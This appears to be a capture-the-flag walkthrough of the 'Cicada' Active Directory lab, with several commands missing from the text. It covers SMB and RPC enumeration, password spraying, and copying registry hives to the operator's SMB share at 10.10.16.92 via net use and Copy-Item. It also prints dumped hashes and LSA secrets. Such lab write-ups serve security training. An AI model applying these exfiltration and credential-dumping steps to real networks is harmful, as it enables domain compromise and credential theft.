We can apply a little filter to the cicada.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information
Note that this scan is also exported to have evidence at hand
# Nmap 7.94SVN scan initiated Sat Oct 18 16:48:53 2025 as: nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,53025 -sCV -v -n -Pn --disable-arp-ping -oN cicada.targeted 10.129.85.54Nmap scan report for 10.129.85.54Host is up (0.074s latency).PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-18 21:49:03Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb| Issuer: commonName=CICADA-DC-CA| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2024-08-22T20:24:16| Not valid after: 2025-08-22T20:24:16| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a|_ssl-date: 2025-10-18T21:50:50+00:00; +7h00m00s from scanner time.445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp filtered http-rpc-epmap636/tcp filtered ldapssl3268/tcp filtered globalcatLDAP3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)|_ssl-date: 2025-10-18T21:50:49+00:00; +6h59m59s from scanner time.| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb| Issuer: commonName=CICADA-DC-CA| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2024-08-22T20:24:16| Not valid after: 2025-08-22T20:24:16| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found53025/tcp open msrpc Microsoft Windows RPCService Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb2-time:| date: 2025-10-18T21:50:09|_ start_date: N/A| smb2-security-mode:| 3:1:1:|_ Message signing enabled and required|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59sRead data files from: /usr/bin/../share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sat Oct 18 16:50:52 2025 -- 1 IP address (1 host up) scanned in 119.17 seconds
139, 445 - SMB
As always, let’s start enumerating the SMB Service in order to gather some generic and interesting information about the target such as the hostname, domain name, SMB Signing status and SMBv1 support
nxc smb 10.129.85.54
Command Output
Once we know the hostname of the target, we should always add an entry related to this host in the /etc/hosts file
This step is important when assesing a certain host that seems to be a Domain Controller, based on the discovered ports
In this case, Kerberos, an authentication protocol, has a strong dependency on DNS, so it is mandatory for the operator to add the corresponding entry to the mentioned system file to ensure that all kerberos-related attacks and techniques work properly
Next, let’s start by listing the available shares in the target. To do so, we will have to check for Null Authentication or Guest Authentication as we do not have any valid domain credentials yet
When listing shares via SMB, it is always recommended to use several tools as we will have a greater certainty about the results obtained
[+] IP: cicada-dc:445 Name: unknown Disk Permissions Comment ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share DEV NO ACCESS HR READ ONLY IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share SYSVOL NO ACCESS Logon server share
Unlike the first, we are able to list the available shares with SMBMap. So, it seems that the Guest domain account is enabled, which is not the default behavior
The HR share stands out from the rest as it is a non-standard shared folder, unlike the IPC$ share
Therefore, we could proceed as follows in order to list its content
And we get an empty file, but it should not be that way as the file size is 1266 bytes in the above output
Probably SMBMap cannot download that file due to the unstable SMB connection with the target
Let’s try to download it using smbclient
smbclient --user 'guest%' --command 'get "Notice from HR.txt"' '//cicada-dc/HR'
Command Output
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (0,3 KiloBytes/sec) (average 0,3 KiloBytes/sec)
And we got it! Its content is the following one
Notice from HR.txt
Dear new hire!Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.Your default password is: Cicada$M6Corpb*@Lp#nZp!8To change your password:1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.2. Once logged in, navigate to your account settings or profile settings section.3. Look for the option to change your password. This will be labeled as "Change Password".4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.5. After changing your password, make sure to save your changes.Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!Best regards,Cicada Corp
And we have a password!
The problem is that we cannot perform any password spraying yet as we do not know any domain user account
So, for the time being, let’s move on to another services that allow us to list information about the domain and its objects, such as domain user acccounts
Again, as we do not have any valid credentials, we have to keep trying Null and Guest authentications
389, 636 - LDAP
Let’s try a anonymous LDAP bind to gather all domain information
First, we have to list the available domain naming contexts
ldapsearch -LLL -x -H 'ldap://cicada-dc.cicada.htb' -s base namingContexts
Operations error (1)Additional information: 000004DC: LdapErr: DSID-0C090C78, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
But this type of authentication is not enabled either
Since we know that the guest domain account is enabled, let’s try to carry out the LDAP Bind with that account
Operations error (1)Additional information: 000004DC: LdapErr: DSID-0C090C78, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
But we obtain the same error
There is not much we can do at the moment here, so let’s move on to the next service
135 - RPC
As we always mention, the RPC Endpoint Mapper (EMP) is listening on this port. Any incoming connection to this port requesting the location of any RPC Endpoint is handled by this service
It maps any RPC Endpoint to a certain dynamic port[s] or system named pipes
There are usually several RPC Endpoints that an operator can interact with to list information about the domain, such as domain user accounts, namely →
SAMR
LSARPC
To do so, we can use the RPCclient tool. First, let’s start with the SAMR endpoint
rpcclient --user 'guest%' --command 'enumdomusers' cicada-dcresult was NT_STATUS_ACCESS_DENIED
Command Output
result was NT_STATUS_ACCESS_DENIED
But we get an NT_STATUS_ACCESS_DENIED error
If we try to connect to the LSARPC endpoint to list some information →
And they are valid user accounts. Therefore, we could perform an ASREPRoast attack in order to enumerate user accounts that do not have kerberos preauthentication enabled i.e. user_dont_req_preauth flag enabled on UserAccountControl attribute
For these users, we would obtain an encrypted_part within the AS_REP, encrypted with a key derived from the user account password
An operator could try to crack it in order to obtain the plain password
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] User CICADA-DC$ doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User john.smoulder doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User sarah.dantelia doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User michael.wrightson doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User david.orelious doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User emily.oscars doesn't have UF_DONT_REQUIRE_PREAUTH set
But there a no user accounts susceptible to ASREPRoast
139, 445 - SMB
Let’s perform a password spraying via SMB with the generated user list and retrieved password
As usual, since we have valid domain credentials, we could use tools such as ldapdomaindump to perform a more exhaustive enumeration of the entire domain and its objects
[*] Connecting to host...[*] Binding to host[+] Bind OK[*] Starting domain dump[+] Domain dump finished
Next, set up an HTTP Server in order to browse the generated resources properly
python3 -m http.server 80
And we got the below data
The user emily.oscars is able to establish a WinRM session to the DC since it belongs to the Remote Management Users group
But, the most interesting thing is that this user account is member of the Backup Operators group
This means that if we manage to compromise this account, we will be able to copy and exfiltrate, either locally or remotely, sensitive files such as the SAM, SYSTEM and SECURITY hives for subsequent local parsing with tools like Impacket Secretsdump.py
But, for the time being, let’s move on to some share enumeration via SMB using the recently obtained credentials
[+] IP: cicada-dc:445 Name: unknown Disk Permissions Comment ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share DEV NO ACCESS HR READ ONLY IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share
This time, we also have access to NETLOGON and SYSVOL shares
The SYSVOL may be an interesting shared folder as it can contain sometimes sensitive information such as plain passwords within a cpassword field
Take into account that all created domain group policy preferences are stored within SYSVOL by default, which means that we could find out a groups.xml file with plain credentials
This share is accesible by all authenticated domain users by default
Said that, let’s inspect its content to look for any sensitive file
[+] IP: cicada-dc:445 Name: unknown Disk Permissions Comment SYSVOL READ ONLY .\SYSVOL\* dr--r--r-- 0 Thu Aug 22 19:40:07 2024 . dr--r--r-- 0 Thu Mar 14 12:09:36 2024 .. dr--r--r-- 0 Thu Aug 22 19:40:07 2024 cicada.htb .\SYSVOL\cicada.htb\* dr--r--r-- 0 Thu Mar 14 12:15:21 2024 . dr--r--r-- 0 Thu Mar 14 12:09:36 2024 .. dr--r--r-- 0 Sun Oct 19 00:13:48 2025 DfsrPrivate dr--r--r-- 0 Thu Mar 14 15:58:41 2024 Policies dr--r--r-- 0 Thu Mar 14 12:09:36 2024 scripts .\SYSVOL\cicada.htb\Policies\* dr--r--r-- 0 Thu Mar 14 15:58:41 2024 . dr--r--r-- 0 Thu Mar 14 12:15:21 2024 .. dr--r--r-- 0 Thu Mar 14 15:58:41 2024 {2480865A-F9E0-4995-B568-987D80F2ADEF} dr--r--r-- 0 Thu Mar 14 12:09:36 2024 {31B2F340-016D-11D2-945F-00C04FB984F9} dr--r--r-- 0 Thu Mar 14 18:56:33 2024 {6AC1786C-016F-11D2-945F-00C04fB984F9} .\SYSVOL\cicada.htb\Policies\{2480865A-F9E0-4995-B568-987D80F2ADEF}\* dr--r--r-- 0 Thu Mar 14 15:58:41 2024 . dr--r--r-- 0 Thu Mar 14 15:58:41 2024 .. fr--r--r-- 59 Thu Aug 29 20:41:33 2024 GPT.INI dr--r--r-- 0 Thu Mar 14 16:00:45 2024 Machine dr--r--r-- 0 Thu Mar 14 15:58:41 2024 User .\SYSVOL\cicada.htb\Policies\{2480865A-F9E0-4995-B568-987D80F2ADEF}\Machine\*<SNIP>
But there is nothing interesting there. The remaining shares do not usually contain anything interesting either
135 - RPC
Again, since we have valid domain credentials, we have several ways to list the existing domain user accounts. Thus, we have a definitive user list for the subsequent attacks
description: Built-in account for administering the computer/domaindescription: Built-in account for guest access to the computer/domaindescription: Key Distribution Center Service Accountdescription: Just in case I forget my password is aRt$Lp#7t*VQ!3
It is fairly obvious that this is the password for the david.orelious user. But, we will perform another password spraying to check for possible password reuse on other user accounts
139, 445 - SMB
Before proceed with another password spraying, we should always check the domain password policiy to ensure not locking out any user account during the assessment
And there is no account lockout threshold set for this domain, meaning we do not need to worry about locking any user accounts out. However, we should always be aware of event logs and other deffensive measures
This time there is no password reuse, but we got the password for the user david.orelious
Since we saw earlier that this user does not have anything interesting such as a remarkable group membership, domain rights or privileges and so on, let’s list again the available shares via SMB to check for different permission on any of them
[+] IP: cicada-dc:445 Name: unknown Disk Permissions Comment ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share DEV READ ONLY HR READ ONLY IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share
And now, we have read permission on the DEV share as david.orelious. Let’s list its content
SMB 10.129.32.165 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)SMB 10.129.32.165 445 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt
This time there is no need to perform a password spraying as, as we saw earlier, this user belongs to the Remote Management Users and Backup Operators groups
This means that we can connect remotely to the target via WinRM and exfiltrate sensitive files such as SAM, SYSTEM and SECURITY in order to compromise the entire domain, in case we can crack the stored hashes and reuse them with domain user accounts
Shell as System User
We can verify that we can establish a WinRM session with the DC as emily.oscars as follows
Evil-WinRM shell v3.5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machineData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
We can check the groups to which the current user belongs as follows
whoami /groups
Command Output
GROUP INFORMATIONGroup Name Type SID Attributes========================================== ================ ============ ==================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled groupBUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled groupBUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled groupBUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled groupBUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled groupBUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled groupMandatory Label\High Mandatory Level Label S-1-16-12288
In fact, we belong to the Backup Operators group. So, the current access token associated with this Network Logon Session should have enabled the SeBackup and SeRestore privileges
whoami /priv
Command Output
PRIVILEGES INFORMATIONPrivilege Name Description State============================= ============================== =======SeBackupPrivilege Back up files and directories EnabledSeRestorePrivilege Restore files and directories EnabledSeShutdownPrivilege Shut down the system EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Enabled
And so it is!
Therefore, simpy proceed as follows in order to extract the SYSTEM, SAM and SECURITY hives and parse them locally
net use X: \\10.10.16.92\smbFolder /user:4l3xbb 4l3xbb
Copy-Item -Path .\* -Destination X:\
Parsing
Be aware that all sensitive information within SAM and SECURITY hives is protected by encrypting it using a syskey stored inside the SYSTEM hive and generated during OS installation
Therefore, an operator should extract the syskey/bootkey from SYSTEM and use it to decrypt all information located within SAM
This task can be accomplished by using Impacket’s Secretsdump.py
secretsdump.py LOCAL -sam SAM -system SYSTEM
Command Output
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.[*] Cleaning up...
Since this SAM copy comes from a Domain Controller, the NT Hash for the above Administrator user corresponds to the Directory Services Restore Mode (DSRM) password, which is set during the Active Directory setup
Therefore, we could check for password reuse on the domain user accounts using this NT Hash
In the end, the NT Hash is constructed by applying a MD4 hash function to the UTF-16LE-encoded password, so it comes from the plain password. This means that if two users have the same password, the NT hash will also be the same for both
So, let’s perform a hash spraying with the NT Hash of the DSRM Administrator user
But, before that, let’s see how we can get a copy of those sensitive hives with Impacket’s Reg.py
Exfiltration
First, we must set up an SMB Server as the target will connect to it in order to store all the information
Next, we have to parse these files as we did it earlier
secretsdump.py LOCAL -sam SAM -system SYSTEM
Command Output
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.[*] Cleaning up...
Once the above is done, let’s carry out the mentioned hash spraying with the NT hash of the DSRM Administrator user
Evil-WinRM shell v3.5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machineData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents>
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.[*] Dumping cached domain logon information (domain/username:hash)[*] Dumping LSA Secrets[*] $MACHINE.ACC CICADA\CICADA-DC$:aes256-cts-hmac-sha1-96:927c80eadcc156ecbd4cb320263b6b1abf3b30327549b6cc9ce36513c83164b3CICADA\CICADA-DC$:aes128-cts-hmac-sha1-96:de29692730025f0a64cc3df3cba86e51CICADA\CICADA-DC$:des-cbc-md5:076efb4f6de99443CICADA\CICADA-DC$:plain_password_hex:6209748a5ab74c44bd98fc5015b6646467841a634c4a1b2d6733289c33f76fc6427f7ccd8f6d978a79eec3ae49eb8c0b5b14e193ec484ea1152e8a04e01a3403b3111c0373d126a566660a7dd083aec1921d53a82bc5129408627ae5be5e945ed58cfb77a2a50e9ffe7e6a4531febd965181e528815d264885921118fb7a74eff51306dbffa4d6a0c995be5c35063576fc4a3eba39d0168d4601da0a0c12748ae870ff36d7fb044649032f550f04c017f6d94675b3517d06450561c71ddf8734100898bf2c19359c69d1070977f070e3b8180210a92488534726005588c0f269a7e182c3c04b96f7b5bc4af488e128f8CICADA\CICADA-DC$:aad3b435b51404eeaad3b435b51404ee:188c2f3cb7592e18d1eae37991dee696:::[*] DPAPI_SYSTEM dpapi_machinekey:0x0e3d4a419282c47327eb03989632b3bef8998f71dpapi_userkey:0x4bb80d985193ae360a4d97f3ca06350b02549fbb[*] NL$KM 0000 CC 15 01 F7 64 39 1E 7A 5E 53 8C C1 74 E6 2B 01 ....d9.z^S..t.+. 0010 36 9B 50 B8 D0 72 23 D9 B6 C5 6E 92 2F 57 08 D8 6.P..r#...n./W.. 0020 1E BA 8E 81 23 25 03 27 36 4C 19 B4 96 CD 25 1F ....#%.'6L....%. 0030 8F F9 7F 5D 71 E6 6E 8C FF CB EB 5E 4E A4 E6 96 ...]q.n....^N...NL$KM:cc1501f764391e7a5e538cc174e62b01369b50b8d07223d9b6c56e922f5708d81eba8e8123250327364c19b496cd251f8ff97f5d71e66e8cffcbeb5e4ea4e696[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secrets[-] Could not connect: timed out[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter[*] Cleaning up...
This time we managed to obtain some information before it timed out again 💀
So, that’s all, let’s move on to the next machine! 😊